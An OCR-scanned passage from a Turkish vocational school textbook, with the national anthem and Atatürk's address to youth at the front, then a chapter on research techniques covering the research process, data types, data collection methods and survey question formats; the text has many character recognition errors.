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ISTIKLAL MARSI

Korkma, sbnmez bu safaklarda yiizen al sancak;

Sonmeden yurdumun Gstiinde tiiten en son ocak.

O benim milletimin yildizidir, parlayacak;
O benimdir, o benim milletimindir ancak.

Catma, kurban olayim, ¢ehreni ey nazl1 hilél!

Kahraman irkima bir gul! Ne bu siddet, bu cel&l?

Sana olmaz dokilen kanlarimiz sonra heldl.
Hakkidir Hakk’ a tapan milletimin istikl&l.

Ben ezelden beridir hir yasachm, hir yasarim.
Hangi ¢ilgin bana zincir vuracakmis? Sasarim!
Kukremis sel gibiyim, bendimi cigner, asarim.
Y irtarim daglari, enginlere sigmam, tasarim.

Garbin &f &kini sarmigsa gelik zirhl duvar,
Benim iman dolu gogsiim gibi serhaddim var.
Ulusun, korkma! Nasil bdyle bir imant bogar,
Medeniyyet dedigin tek disi kalmig canavar?

Arkadas, yurduma algaklar ugratma sakin;
Siper et gévdeni, dursun bu hayésizca akin.
Dogacaktir sanava dettigi glinler Hakk’ 1n;
Kim bilir, belki yarin, belki yarindan dayakin.

Bastigin yerleri toprak diyerek gegme, tan::
Dustin altindaki binlerce kefensiz yatan.
Sen sehit oglusun, incitme, yaziktir, atan::
Verme, diinyalar alsan da bu cennet vatani.

Kim bu cennet vatamin ugruna olmaz ki feda?
Suheda fiskiracak toprag: siksan, stihedal
Céani, canan, biitin varim alsin da Huda,
Etmesin tek vatammmdan beni diinyada ctida.

Ruhumun senden 14hi, sudur ancak emeli:
Degmesin mabedimin gdgsiine ndmahrem eli.
Bu ezanlar -ki sehadetleri dinin temeli-

Ebedi yurdumun Usttinde benim inlemeli.

O zaman vecd ile bin secde eder -varsa tasim,
Her certhamdan ilahi, bosanp kanl1 yasim,
Figkarir ruh-1 micerret gibi yerden na sim;

O zaman yikselerek arsa deger belki bagim.

Dalgalan sen de safaklar gibi ey sanli hilal!
Olsun artik dokulen kanlarimin hepsi heldl.
Ebediyyen sana yok, irkimayok izmihl&l;
Hakkidir hir yasamis bayragimin hirriyyet;
Hakkidir Hakk’ a tapan milletimin istiklal!

Mehmet Akif Ersoy



GENCLIGE HITABE

Ey Turk gencligi! Birinci vazifen, Turk istiklalini, Tirk Cumhuriyetini,
ilelebet muhafaza ve mudafaa etmektir.

Mevcudiyetinin ve istikbalinin yegane temeli budur. Bu temel, senin en
kiymetli hazinendir. Istikbalde dahi, seni bu hazineden mahrum etmek
isteyecek dahili ve hérici bedhahlarin olacaktir. Bir giin, istiklal ve cumhuriyeti
midafaa mecburiyetine dusersen, vazifeye atilmak icin, i¢cinde bulunacagin
vaziyetin imkan ve seraitini distnmeyeceksin! Bu imkan ve serait, cok
namisait bir mahiyette tezahlr edebilir. istiklal ve cumhuriyetine kastedecek
diusmanlar, batun dinyada emsali gorilmemis bir galibiyetin - mimessili
olabilirler. Cebren ve hile ile aziz vatanin bitin kaleleri zapt edilmis, butin
tersanelerine girilmis, batun ordular: dagitilmis ve memleketin her kdsesi bilfiil
isgal edilmis olabilir. Bitiin bu seraitten daha elim ve daha vahim olmak tzere,
memleketin dahilinde iktidara sahip olanlar gaflet ve dalélet ve hattd hiyanet
icinde bulunabilirler. Hattd bu iktidar sahipleri sahsi menfaatlerini,
mustevlilerin siyasi emelleriyle tevhit edebilirler. Millet, fakr u zaruret iginde
harap ve bitap dusmds olabilir.

Ey Turk istikbalinin evladi! Iste, bu ahval ve serait icinde dahi vazifen,
Turk istiklal ve cumhuriyetini kurtarmaktir. Muhta¢ oldugun kudret,
damarlarindaki asil kanda mevcuttur.

Mustafa Kemal Ataturk
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» Konulari pekistirici ve
destekleyici ek bilgileri

L. - | wazrum CALISNALARI gosterir.
I =

1 g: 1. Kurdugunuz iletigimin etkili olup olmadigini nasil anlarsiniz? Digtincelerinizi

1 9= arkadaslarinizla paylaginiz.

el 2. Giinliik hayatinizda en sik kullandiginiz iletisim yéntemi nedir? Nedenleriyle

birlikte agiklayiniz.
3. Kalabalik bir gruba herhangi bir konu hakkinda bilgi vermek veya bir seyin tanitimini yapmak
isteseniz nasil bir yol izlerdiniz? Ornekler vererek agiklayiniz.

Ogrenme birimi ile ilgili
SIRA —— sira sizde ¢alismasini
o Bir web sitesinin yiklenme hizim optimize etmek icin hangi faktarlerin etkili gt’)sterir
oldugunu belirlemek amaciyla hangi yéntemi kullanirsimz? Bu faktdrlerin '
yiklenme siresine olan etkisini dlgerek karsilaghrma tablosu hazirlayiniz.
Hazirladiginiz tabloyu simifta sununuz.

Ogrenme birimi ile
&, 10, 20, 30, 40, 50, 60, 70 ve 80 olarak verilen bir veri setinin aritmetik | ilgili 0rnek ¢alismayi
[ ortalamasini bulmak igin énce tim sayilar toplanir ve sayi adedine bélunr.
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su iglemler yapilir:
* Sayilarin toplami = 360'tir.

* Sayl adedi = 8'dir.
* Aritmetik ortalama (360 / 8) = 45 olarak bulunur.

Ogrenme birimi
———— ileilgili uygulama
etkinligini gosterir.

Linux ve Windows sunucu isletim lerinin i araghriniz, Arag

sonuglanini rapor haline getiriniz. Cal 1 ark larimizla payl
Ders materyali
Tablo 1.1: Veri Toplama Yontemleri —_— |cer|é| nde yer a lan

BiRINCIL KAYNAKLARDAN VERi TOPLAMA iKiNCiL KAYNAKLARDAN VERi TOPLAMA tabloyu gosterir.

o Anketler *  Yayinlanmis kaynaklar

e Goriigmeler ®  Cevrimigi veri tabanlarn

+ Deneyler e  Kurumsal kayitlar

e Gozlemler ®  Geg¢mis aragtirma caligmalan

e Odak gruplarn e Kamuya acik veriler

Ogrenme biriminin
|, adinive numarasini

2. ETKILI ILETi$iM VE SUNUM TEKNIKLERI gosterir.
e ———

Konulari pekistirici ve
™ —— > destekleyici ek bilgileri

* Komut, dosya ve dizin adlari yazilirken biiyiik ve kiictik harf duyarlihigina dikkat N .
gosterir.

edilmelidir, | “0_1

« Dosya ve dizin adlari 255 karakteri gegmemelidir. Ozel karakterler (? 1\ | &$~
vb.) dosya ve dizin adlarinda kullaniimamalidir.




‘ 1. OGRENME BIRIMi

ARASTIRMA TEKNIKLERI

KONULAR NELER OGRENECEKSINIiZ?

1.1 ARA§TIRMA SURECI - Aragtirma yapmanin amaci
1.2. VERI KULLANIMI « Arastirma planlamasi

» Arastirma teknikleri

» Veri kullanimi

+ Veri gesitleri

« Veri toplama yéntemleri

« Veri analizi

ANAHTAR KAVRAMLAR

Anket, arastirma, aritmetik ortalama, bilgi, bilim, bilimsel, birincil veri kaynagi, deney,
gozlem, ikincil veri kaynagi, medyan, mod, nicel veri, nitel veri, veri, yontem




1. OGRENME BiRiMi
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HAZIRLIK GALISMALARI
gk 1. Arastirmayapmaya neden ihtiya¢ duyariz? Duglincelerinizi arkadaglarinizla
V&= paylasiniz.
" | 2. Arastirma yapacaginiz konu hakkindaki bilgilere erismek icin hangi yontemleri
— kullaniyorsunuz? Nedenleriyle birlikte agiklayiniz.
|}
"

1.1. ARASTIRMA SURECI

Arastirma, bir problemle baslar ve bilgiye ulasmanin temel yolu olarak kabul edilir. Literatlirde yapilan
farkli tanimlara gore arastirma, bilimsel yontemlerle planli ve sistemli olarak yapilan bir siirectir. Bu
suiregte doga ve toplumsal olaylarla ilgili sorunlari ¢ozmek icin bilimsel yéntem kullanilir.

Arastirmaci, arastirma slirecinde oncelikle bilgi edinme yollarini kesfetmeli ve edindigi bu bilgileri
projelerinde uygulayabilme becerisi kazanmalidir. Bir arastirmanin degerleri olabilmesi icin
arastirmacinin kullanacagi yontemin dogru ve ilgili otoriteler tarafindan kabul géren gecerli bir yontem
olmasi gerekir. Bu sebeple 6ncelikle arastirma sirecinde yer alan temel kavramlar bilinmelidir. Bu
kavramlar ve agiklamalari sunlardir:

e Arastirma

Belirli bir amaci gerceklestirmek icin belli asamalari ve bir yontemi iceren calismalara arastirma
denir.
e Bilgi

Zihinsel faaliyetler sonucunda elde edilen Urlinlere bilgi denir. Bilgi kisinin 6grenme, arastirma
veya gozlem yoluyla elde ettigi gerceklerdir. Bilgi degerlidir. Bilginin degerli olabilmesi icin su
ozelliklere sahip olmasi gereklidir:

¢ Test edilmis olmalidir.

¢ Gergeklenmis olmalidir.

¢ Glincellenebiliyor olmalidir.

¢ Dili basit ve uygun olmalidir.

e Bilim

Bilim bilgiyi arastirma, edinme ve diizenleme sireci olarak ifade edilebilir. Bagska bir tanimla
gecerliligi kabul edilmis bilgi buttinine de bilim denilebilir. Bilimin bazi 6zellikleri ise sunlardir:

* Tlmevarim yontemini kullanir.

* Evrenseldir.

* Nesneldir.

* Birikimli olarak ilerler.

* Akil ve mantik ilkelerini kullanir.

* Uygulanabilir.

* Degisebilme ve kendini yenileme 6zelligine sahiptir.




ARASTIRMA TEKNIKLERI

]
e Bilimsel Arastirma

Bilimsel yontemlerle belli bir sorunu anlamak, agiklamak veya ¢ézmek icin yapilan sistematik veri
toplama ve analiz etme siirecine bilimsel aragtirma denir.

e Bilimsel Yontem

Dogrulugu kanitlanmis bilgiyi elde etmek icin izlenilen yol ve siirece bilimsel yontem denir.

Arastirma siireci, arastirmacinin ilgi ve inceleme istegiyle baslar. ilgiyi arastirmaya déniistiirmek, konuyu
daraltmak ve hipotezi formile etmek gerekebilir. Arastirmaci temel veriyi analiz ederek sonuglara ulasir
ve genelleme yaparak diger durumlara uygulamayi distnebilir.

Arastirma silirecinde bireylerin kendi distnceleri ile gercekler net bir sekilde ortaya konmalidir.
Arastirmacinin beklentileri dogrultusunda arastirmaya yon verilmemelidir. Arastirma; merak, inceleme,
degerlendirme, yorumlama, karar verme gibi 6grenme ve bilgi edinme c¢abalarinin birlestigi bir strectir.
Merak, bilimsel arastirmayi baslatan temel bir unsurdur. Ogrenme istegiyle birlesen samimi caba,
insanhgi dahaiyi zeminlere tasiyabilir. Arastirma bir sorunun merak ve 6grenme arzusuyla olusturulmasi,
bilgi ve verilerin incelenmesi, degerlendirilmesi ve yorumlanmasi sonucunda bilgi Gretme ¢abasidir.
Bilimsel arastirma ise belirli bir amaci, asamalari ve yontemi iceren yeni bilgi, ydntem veya Urinler elde
etmeye yonelik ¢abalardir. Her bilim tiirt kendi sistemine uygun arastirma yontemleri kullanir.

1.1.1. Arastirmanin Amaci

Arastirmanin amagclari gesitli tirlere ve elde edilecek sonugclarin niteligine gore farkhlik gosterir. En
onemli bilimsel arastirma amaclari sunlardir:

¢ Yeni Gergeklere Ulagmak

Sistematik diisiince ve glvenilir verilere dayall ¢coziimler arayarak yeni gercekleri ve 6nerileri elde
etmektir.

e Bilimsel Agiklamalar Sunmak

Olgulari ve sorunlari analiz ederek temel nedenleri ¢lritmek ve bilimsel arastirma ve analizle
objektif agiklamalara ulagsmaktr.

e Gelecegi Tahmin Etmek

Bilimsel kanitlara dayali 6ngorilerle gelecege dair bilgi elde etmektir.

e Mantkli/Faydal C6ziimler Uretmek

Arastirmacinin bilimsel arastirma ve deneylerle ¢6ziime ulasmak icin hipotezler, gézlemler ve
Olclimler kullanmasidir.

e Yenilik ve Yenilemek

Arastirmacinin yeni bilgilere ve deneyimlere dayali arastirmalarla yeni buluslar ve yiliksek kaliteli
Urlnler ortaya koymasidir.

Arastirma amaglarindan olan yenilik icin séyle bir érnek verilebilir: Bilgisayarlar ¢ok 6nceleri farkl
ihtiyaclar icin gelistirilmis elektronik aygitlardir ancak bu teknoloji gelistirilerek yeni buluslarla tablet
halini almis ve hatta mobil telefonlara da bilgisayar yetenegi kazandiriimistir.
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0 S Arastirmanin amaglarindan her biri igin birer 6rnek veriniz. Bunlarin

% insanliga ne gibi faydalar sagladigini sinifinizda tartisiniz.

1.1.2. Arastirmanin Planlamasi

Arastirmanin planlamasi genel olarak arastirma sireci ile ilgilidir. Arastirilacak konunun bir baska
ifadeyle problemin belirlenmesinin ardindan arastirma planinin hazirlanmasi gerekir. Bir arastirmanin
baslangicinda konunun énemi, arastirmanin amaci ve kapsami, kullanilacak materyal, materyalin nasil
elde edilip degerlendirilecegi gibi detaylar belirtilmelidir. Ayni zamanda arastirmanin siiresi ve bitgesi
de planlanarak her asamanin ne zaman tamamlanacagi belirlenmelidir. Arastirmanin planlanmasi temel
olarak sekiz asamada incelenebilir (Sekil 1.1).

Raporlama Problemi tanimlama

Veri isleme Literatur
ve analiz inceleme
Veri Sorulan

toplama belirleme

Arastirma deseni
olusturma

Sekil 1.1: Arastirmanin planlanmasi siireci

1. Problemi Tanimlama

Arastirma yapilmadan 6nce sorunun ne oldugu iyice belirlenmelidir. Sorunun ne oldugu net
sekilde belirlenmezse bir sonraki asama olan literatiir incelemesinde sorun/problem odagindan
sapilabilir. Bu durum gereksiz arastirmaya ve dolayisiyla zaman kaybina neden olur.

2. Literatiir inceleme

Problem belirlendikten sonra yapilmasi gereken islem, o problemle ilgili daha 6nce yapilan
calismalari incelemektir.

3. Sorulari Belirleme
Literatlir incelemesinde problemle ilgili daha 6nce yapilan ¢alismalarda nelerin ortaya kondugu ve
nelerin ortaya konmasi gerektigi ile problemin ¢6zimi igin hangi sorularin yanit bulmasi gerektigi
belirlenir.

4. Arastirma Deseni Olusturma
Arastirma deseni, arastirmacinin sorulari yanitlamak veya hipotezleri test etmek igin gelistirdigi
bir plani ifade eder. Bu plan, arastirma amacina uygun bir sekilde verilerin toplanmasi ve analiz
edilmesi icin gereken kosullarin diizenlenmesini igerir.
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5. Orneklemi Segme

Arastirma evreninden temsilT bir 6rnek olusturmak icin secilen 6rneklerden olusan gruba érneklem
denir. Ornegin bir okulda en sevilen dersi tespit etmek icin belirli parametrelere gore secilen 100
kisilik gruba 6rneklem denir.

6. Veri Toplama

Veri toplama, 6rneklemden verilerin elde edilmesidir. Burada kullanilacak 6lgme tiranin (nicel
veya nitel) belirlenmesi gerekir. Bazi sorular sayisal cevaplar gerektirirken, bazilari gerektirmez.
Arastirilan problem ve problemin ¢oziimiine ait sorular dikkate alinarak nicel, nitel ve karma
tekniklerle veriler toplanabilir.

7. Veriisleme ve Analiz

Veri isleme ve analiz, elde edilen verilerin anlamli hale getirilmesi sirecidir.

8. Raporlama
Raporlama, problemin ¢d6ziimiine ait elde edilen tiim verileri bilimsel arastirma odaginda tutanak
héaline getirme sirecidir.
1.1.3. Arastirma Teknikleri

Arastirma teknikleri, arastirma sorularini yanitlamak veya hipotezleri test etmek icin verileri toplamak,
analiz etmek ve yorumlamak amaciyla kullanilan gesitli yontemleri, stregleri ve araglari igerir. Bu
yontemlerden bazilari Gorsel 1.1’de gosterilmistir.

Gozlemsel arastirma —\ /7 Nitel aragtirma

Deneysel arastirma Nicel arastirma

¥ Karma yontem arastirma

Gorsel 1.1: Arastirma yontemleri

¢ Nitel Aragstirma

Nitel arastirma, sayisal olmayan verileri toplamak ve analiz etmek icin kullanilir. Katihmcilarin
O0znel deneyimleri ve bakis acilari hakkinda bilgi edinmeyi amaclar. Gérismeler ve icerik analizi
nitel arastirma tekniklerine 6rnek olarak gosterilebilir.

e Nicel Arastirma

Nicel arastirma, sayisal verileri toplamak ve analiz etmek igin kullanilir. Anketler, deneyler ve
istatistiksel analiz bu yonteme 6rnek verilebilir.
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Karma Yontem Arastirmasi

Karma yontem arastirmasi, nicel ve nitel arastirma tekniklerinin birlestirilerek kullanildigi bir
yontemdir. Agik uglu sorular iceren anketler ve istatistiksel analiz iceren vaka ¢alismalari bu tiriin
orneklerindendir.

Eylem Arastirmasi

Eylem arastirmasi, alan arastirmasi olarak da bilinir. Paydaslarla is birligi yaparak gercek diinyadaki
sorunlari ¢ozmeye odaklanir. Katiimci eylem arastirmasi ve topluluk temelli katilimci arastirma bu
turlin 6rneklerindendir.

Deneysel Arastirma

Deneysel arastirma, bir veya daha fazla degiskenin manipltile edilerek bir sonug lizerindeki etkiyi
gozlemlemeyi ve neden-sonug iliskileri kurmay:i icerir. Kontrolli denemeler ve yari deneysel
tasarimlar bu tiire ait arastirma 6rneklerindendir.

Gozlemsel Aragtirma

Gozlem arastirmasi, dogal ortamlarda davranis veya tutumlari gézlemlemeyi ve kaydetmeyi
amaclar. Dogal gézlem ve yapilandirilmis gozlem bu tiire 6rnek olarak verilebilir.

Arastirma tekniklerinin temel amaglari sunlardir:

0% Asagidaki konulardan bir tanesiniz seginiz. Segtiginiz konuya uygun ara;nrma\

Belirli bir olayi veya konuyu anlamak ve incelemektir.

Yenilikgi fikirler ve teoriler gelistirmektir.

Mevcut teorileri ve hipotezleri test etmektir.

Sorunlara ¢oziimler bulmak ve degerlendirmektir.

Karar verme siireglerini bilgi ve veri ile desteklemektir.

Verilerdeki egilimleri ve desenleri tespit etmektir.

Neden-sonug iliskilerini kesfetmektir.

Arastirma bulgularinin gtivenilirligini ve gecerliligini saglamaktir.

Elde edilen sonuglari anlasilir ve acik bir sekilde baskalarina iletmektir.

SIRA

yontemini belirleyerek konuyu arastiriniz. Arastirma sonucunu raporlayarak
ogretmeninize teslim ediniz.

>> Bir yaya gecidinde karsidan karsiya gecmek isteyen bireylerin davranislarini inceleyiniz.

>> Cevrimici anket hazirlama araglarini kullanarak sinif arkadaslarinizin dogum vyerlerini ve
tuttuklari futbol takimlarini arastiriniz.

>> Sinifinizdaki arkadaslarinizin dogdugu aya gore matematik ders basarisini inceleyeniz.

N >
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1.2. VERI KULLANIMI

Veri, bir problemi ¢dzmeye veya degisken tlriini tanimlamaya yardimci olabilecek 6lglimler, degerler,
olaylar ve bilgilerin tiimU olarak tanimlanir. Bu veriler; sozlii ve yazili ifadelerden, sekillerden, resimler-
den, esyalardan, modellerden, rakamlardan ve sembollerden olusabilir. Bir verinin gecerli olabilmesi
icin mutlaka kaydedilmesi gereklidir. Veri, kaydedilmis ve islenmemis ham bilgilerdir. Veriler, anlam ¢I-
karmak ve problemleri ¢ézmek igin islenerek kullanilir. Her bilimsel arastirma, énceki bilgi birikimine
dayanmak zorundadir.

Arastirmanin temel dayanagi olan verilerin dogru bir sekilde 6lclilmesi ve toplanmasi, arastirmanin
temel ve hayati unsurlari arasinda yer alir. Toplanan verilerin niceligi ve niteligi, arastirmanin gecerliligini
ve glivenilirligini belirler. Bu nedenle arastirma yaparken veri toplama yontemlerini ve temel kavramlari,
ilke ve teknikleri bilmek, verileri bilimsel bir yaklasimla degerlendirmek 6nemlidir. Burada nitel ve
nicel veriler arasindaki farka dikkat edilmelidir. Veriler genellikle sayisal sekilde ifade ediliyorsa buna
nicel veri denir. Aksi durumdakiler nitel veri olarak adlandirilir. Nitel veriler yalnizca s6zciiklerden ve
yazilardan ibaret degildir. Fotograf, video gibi veriler de nitel veri olarak kabul edilir.

1.2.1. Veri Cesitleri

Bir verinin elde edilebilmesi igin veri kaynagina ihtiya¢ duyulur. Veri kaynaklari temelde birincil ve ikincil
veri kaynaklari olarak ikiye ayrilir.

e Birincil Veri Kaynaklari

Arastirma konusuyla ilgili gercek taniklar tarafindan elde edilen verilerdir. insanlardan, ailelerden,
kurum ve kuruluslardan anket, milakat ve gozlem yontemleriyle toplanabilir. Tabiattan gézlem
yoluyla veri elde edilmesi de bu tiire girer.

e ikincil Veri Kaynaklari

Birincil kaynaklardan elde edilen veri kaynagidir. Daha 6nceden derlenmis veri setleridir ve farkl
amaglar icin kullanilmis olabilir. Daha 6nceden yayinlanmis belge, dosya, bulgu vb. bu kaynak
tliriine girer. Bu tir verilere TUIK, TUBITAK, Tirkiye Cumhuriyeti Merkez Bankasi, ULAKBIM, YSK
gibi kuruluglardan ulasmak mimkunddr.

Birincil veri kaynaklari genellikle daha glivenilir ola-
rak kabul edilir ve daha sik tercih edilir ancak baz
durumlarda ikincil kaynaklar daha yararh olabilir.
ikincil kaynaklar, konunun cesitli kaynaklardan alin-
mis Ozetleridir. Bu sebeple daha kisa siirede birgok
veriye ulasilabilir. Daha az kaynak kullanimina ve kar-
silastirma yapma imkanina olanak tanir. Zamandan
tasarruf saglamasinin yaninda ekonomiktir ancak
ikincil veri kaynaklarinin bazi zayif yonleri de vardir.
Ornegin ihtiyaglar tam olarak karsilamayabilir veya
ticari amach verilere ulasmak maliyetli olabilir.
Arastirmanin gerekliliklerine tam olarak uygun ol-
mayabilir. Bu sebeple bazi durumlarda arastirmaci-
lar verileri dogrudan kendileri elde etmeye calisir.

Veriler, dort ana tipe gére gruplandirilabilir. Bunlar;
gozlemsel, deneysel, similasyon ve tiiretilmis veriler
olarak adlandirilir (Gorsel 1.2).

Gorsel 1.2: Veri gesitleri
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1. Gozlemsel Veri
Gozlemsel veriler, davranislari ve aktiviteler gozlemlenerek elde edilir. Gozlemsel veriler gercek
zamanlh olarak elde edildigi icin veriler bozulur, silinir veya kaybolursa yeniden olusturulmasi cok
zor veya imkansiz olabilir.

2. Deneysel Veri
Deneysel veriler, arastirmacinin miidahalesiyle toplanir ve nedensel iliskileri belirlemeye izin verir.
Bu tlr veriler genellikle yeniden Uretilebilir.

3. Simiilasyon Verileri
Simlasyon verileri, bilgisayar test modelleri kullanilarak gercek diinyadaki siiregleri taklit etmek
amaciyla Uretilir. Bu veriler, belirli kosullar altinda ne olacagini belirlemeye ¢alismak igin kullantlir.

4. Turetilmis Veri
Turetilmis veriler, farkli kaynaklardan gelen mevcut verilerin dontstirilmesiyle olusturulur.

1.2.2. Veri Toplama Yontemleri

Veri toplama yontemleri, arastirma amaciyla bilgi toplamak icin kullanilan teknikler ve prosedirlerdir.
Bu yontemler, basit anketlerden daha karmasik deneylere kadar genis bir yelpazeyi kapsar. Veri toplama
islemi arastirmanin tiriine ve veri kaynagina gore degisebilir. Nicel veya nitel yaklasimlari icerebilir.
Anketler, gorismeler, gdzlemler, deneyler ve ikincil veri analizi gibi yaygin veri toplama yontemleri
arastirmalarda siklikla kullanilan tekniklerdir. Bu ydontemlerle toplanan veriler daha sonra analiz edilerek,
arastirma hipotezlerinin desteklenip clritiilmesine ve calisilan konuya ait sonuglarin cikarilmasina
olanak tanir.

Veri toplama yontemleri, toplanan verilerin kalitesini ve dogrulugunu belirlemek igin blylik dnem tasir.
Ayrica verilerin ilgili, gecerli ve giivenilir olmasini saglar. On yargiy1 azaltmaya yardimci olur ve bilgiye
dayali kararlar almayi kolaylastirir. Arastirmanin basarisi ve i¢ gecerliligi icin veri toplama yontemlerinin
dogru bir sekilde uygulanmasi biylik énem tasir. Bu nedenle veri toplama teknigi rastgele olmamali,
belirli bir teknige bagli olmalidir. Veri toplama yonteminin se¢cimi genel olarak arastirma sorusu, istenilen
veri tirl, mevcut kaynaklar, zaman gibi faktorlere baglidir. Buna gore veri toplama yéntemleri, birincil
ve ikincil veri toplama yontemleri basliklari altinda iki ana kategoride incelenebilir (Tablo 1.1).

Tablo 1.1: Veri Toplama Yontemleri

BIRINCIL KAYNAKLARDAN VERi TOPLAMA IKINCIL KAYNAKLARDAN VERI TOPLAMA
e Anketler e  Yayinlanmis kaynaklar

e Gorusmeler (Milakatlar) e  Cevrimigi veri tabanlari

e Deneyler e  Kurumsal kayitlar

e Gozlemler e Gegmis arastirma galismalari

e Odak gruplari e Kamuya acik veriler

1.2.2.1. Birincil Veri Kaynaklarindan Veri Toplama Yontemleri

Birincil veriler dogrudan veri kaynaklarindan toplanir ve daha 6nce kullanilmamistir. Bu veriler, aras-
tirmanin amacina 6zel olarak toplandigi i¢in oldukga giivenilir ve 6zgilindir. Bu yéntem, arastirmacinin
arastirma hedeflerine 6zel olarak uyarlanmis ilk elden bilgi edinmesini saglar. Bu yontemler; anketler,
gorismeler, deneyler, gbzlemler ve odak gruplaridir.
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1. Anketler

Anketler, hedef kitleye yonelik veri toplamak ve Uriinlerle veya hizmetlerle ilgili tercihleri, gbrisleri,
segimleri ve geri bildirimleri 6grenmek icin kullanilan yontemlerdir. Genelde kisa olduklari igin
insanlardan yanit almak daha kolaydir. Maliyeti diisiik ve dogrudan veriye ulasilabilir. Planlamasi
ve uygulamasi kolay oldugu icin arastirmacilar tarafindan oldukea fazla tercih edilir ancak cevap
verilmeyen sorular, anketi yanitlayan kisilerin tutum ve davraniglari anketler Gzerinde olumsuz
etki olusturabilir. Anketler ¢evrimici araglarla da hazirlanabilir ve yine gevrimici olarak veriler
toplanabilir. Anketler farkli tirde soru gesidi ile gelistirilebilir.

Acik Uglu Sorular: Bireyin kendi fikrini ifade etmesi icin soruya cevap vermesi veya bos birakilan
yere kelime veya climle yazmasini igerir.

>> Ornek

“Bir 6grenci yeni gordigl herhangi bir derse uyum saglama silirecinde daha ¢ok hangi sorunlarla
karsilasabilir?” sorusuna cevap yazabilecek birka¢ cliimlelik bosluk birakmak ve bireyin soru
hakkindaki diistincelerini ifade etmesini saglamak.
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Kategorik Sorular: Bireylere kendilerinin hangi kategoriye ait oldugunu soran sorulardir.
>> Ornek
Asagida belirlenen sinif seviyelerinden hangisine aitsiniz?

09. sinif

0 10. sinif

0 11. sinif

012. sinif
A AN AN AN AN A AN AN AT AN AN AT AW AN AN AW AN AN AT AN AW AT AW AW AN AT AW AWAVAWAW AW AW AW AW AWAWAW AV AW AWAWAWAWAWAWAWAWAWAY
0000000000006000000000000006000000000006000006000600000
Siralamak igin Hazirlanan Sorular: Arastirmaya katilan bireylerin kendileri icin 6nem sirasina

koyabilecekleri sorulardir.

>> Ornek

Alan tercihi yaparken gz oniinde bulunduracaginiz bazi hususlar asagida liste halinde verilmistir.
Litfen bu hususlari sizin icin 6nemine goére 1’den 9’a kadar siralayiniz.
[ 1 Ailede ayni meslegi yapan birinin olmasi

[ 1 Ailemin ilgili meslek alaninda is yerinin olmasi

[ ] Universite tercihi

[ ] istihdam kolayhgi

[ 1 Maddi getirisi

[ ] Arkadaslarimin tercihleri

[1ilgi

[ 1 Meslegin itibari

[ 1 Okuma kolayhgi
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Derecelendirmek i¢in Hazirlanan Sorular: Katilimcilarin anket sorusunda verilen ifadeye ne kadar
katildigini veya katilmadigini belirlemek icin hazirlanan sorulardir.

>> Ornek

Bilisim Teknolojileri Alanina ait yaptiginiz dal se¢imi hakkinda ne diistiniiyorsunuz?
0 Hi¢ memnun degilim.
0 Memnun degilim.
0 Bir fikrim yok.
0 Memnunum.
0 Oldukga memnunum.

Cok Secenek Segilebilen Sorular: Bu tiir sorular bireyin ayni anda birden fazla secenegi secmesi icin
hazirlanir.

>> Ornek

Asagida verilen liniversitelerden 6grencisi olmak istediklerinizi isaretleyiniz.
Q Bogazici Universitesi
Q Ortadogu Teknik Universitesi
Qistanbul Teknik Universitesi
QYildirnm Beyazit Universitesi
Q Yildiz Teknik Universitesi

Sebeke Halindeki Sorular: Bu tiir sorular bireyin ayni anda birden fazla soruya cevap vermesi icin
gelistirilir.
>> Ornek

Egitim yasaminizda asagidaki derslerden 85 ve lizeri not aldiniz mi? Aldiysaniz kdseli ayrag icine kag
kez oldugunu belirtiniz.

0 Matematik [1
O Fizik []
0 Kimya [1
O Biyoloji []

2. Goriismeler (Miilakatlar)

Bu yontemde gorliismeci bireylerle yiiz ylize, ¢cevrim ici veya telefonla dogrudan iletisim kurarak
sorular sorar. Yiz ylize goérismelerde goriismeci, katilimciya bir dizi soru yonlendirir ve yanitlari
not alir. Eger katilimcilarla bire bir goriismek mimkin degilse gérismeci, telefon gériismeleri
araciligiylailetisim kurabilir. Bu veri toplama yontemi genellikle sinirli sayida katilimciigin uygundur.
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Gorusmeler; yapilandiriimis (6nceden tanimlanmis sorular), yari yapilandirilmis (esneklik saglayan
sorular) veya yapilandiriimamis (bir konusmaya dayali) sekilde olabilir.

Yapilandirilmis Goriisme: Hangi sorularin sorulacagi ve hangi verilerin toplanacaginin en ayrintili
sekilde belirlendigi bir gortisme tiridir. Bu tiir gorismelerde sorular dnceden belirlenir ve
gorlsmeyi yuriten kisi tarafindan goriismeye katilan bireylere sorulur. Verilen cevaplar kayit altina
alinir. Buradaki amag, gorlismeye katilan bireylerin verdikleri cevaplar arasinda karsilastirmalar
yapabilmektir.

>> Ornek
Bilisim teknolojileri laboratuvariniz derslerde 6grendiginiz bilgileri uygulamada yeterli midir?

[ a W AW AW a W aWa W a W aWa W a W aWallaV fa W aWaWaWaWalal on fa W aWalaWaWatiat fa W aWaWaWal fa W a WA oW aWaWaWalay
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Yari Yapilandirilmig Goriisme: Sorular goriismeye baslamadan 6nce gorliismeyi yapacak arastirmaci
tarafindan hazirlanir ancak goériismeye katilan bireylerin durumuna ve sartlara gore sorularda bazi
esneklikler saglanabilir. Bu esneklikler; sorularin yerlerinin degismesi, sorulari daha ayrintili olarak
aciklama, bazi hatirlatici bilgiler verme vb. olabilir.

>> Ornek

Ogrenci basarisini artirmak icin ev ddevleri hakkinda distinceleriniz nelerdir? Ev &devlerinin
o0grenci basarisina etkisi hakkinda sahip oldugunuz tecriibelerinizden 6rneklerle bahseder misiniz?

Yapilandiniimamis Gériisme: Daha ¢ok agik uglu sorularin soruldugu gériismelerdir. Yapilandiril-
mamis gorismenin en dnemli avantaji, goriismecilerin kendilerini rahat hissederek sorulara daha
dogal cevaplar vermesidir ancak goriismeyi yapan arastirmaci igin miilakat strecini kontrol etme-
nin zorlugu bir dezavantajdir.

>> Ornek
Sizce okulunuzda 6gretmen olmak mi glizel yoksa 6grenci olmak mi?

3. Deneyler

Deneysel calismalar, degiskenlerin kontrol altinda tutulup manipile edildigi ve sonuglarin
gozlemlendigi yontemlerdir. Arastirmacilar, bu kosullu deneylerle neden-sonug iliskileri hakkinda
sonuglar elde etmeye calisir ve verileri toplar.

SIRA

Bir web sitesinin ylklenme hizini optimize etmek icin hangi faktorlerin etkili
oldugunu belirlemek amaciyla hangi yontemi kullanirsiniz? Bu faktorlerin
yliklenme siresine olan etkisini 6lcerek karsilastirma tablosu hazirlayiniz.
Hazirladiginiz tabloyu sinifta sununuz.
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4. Gozlemler

Arastirmacilarin insan davraniglarini, eylemlerini veya olaylari dogal ortamlarinda gozlemleyip
kaydederek veri topladigi yontemdir. Bu yontem; insan davranisi, etkilesimleri veya fenomenleri
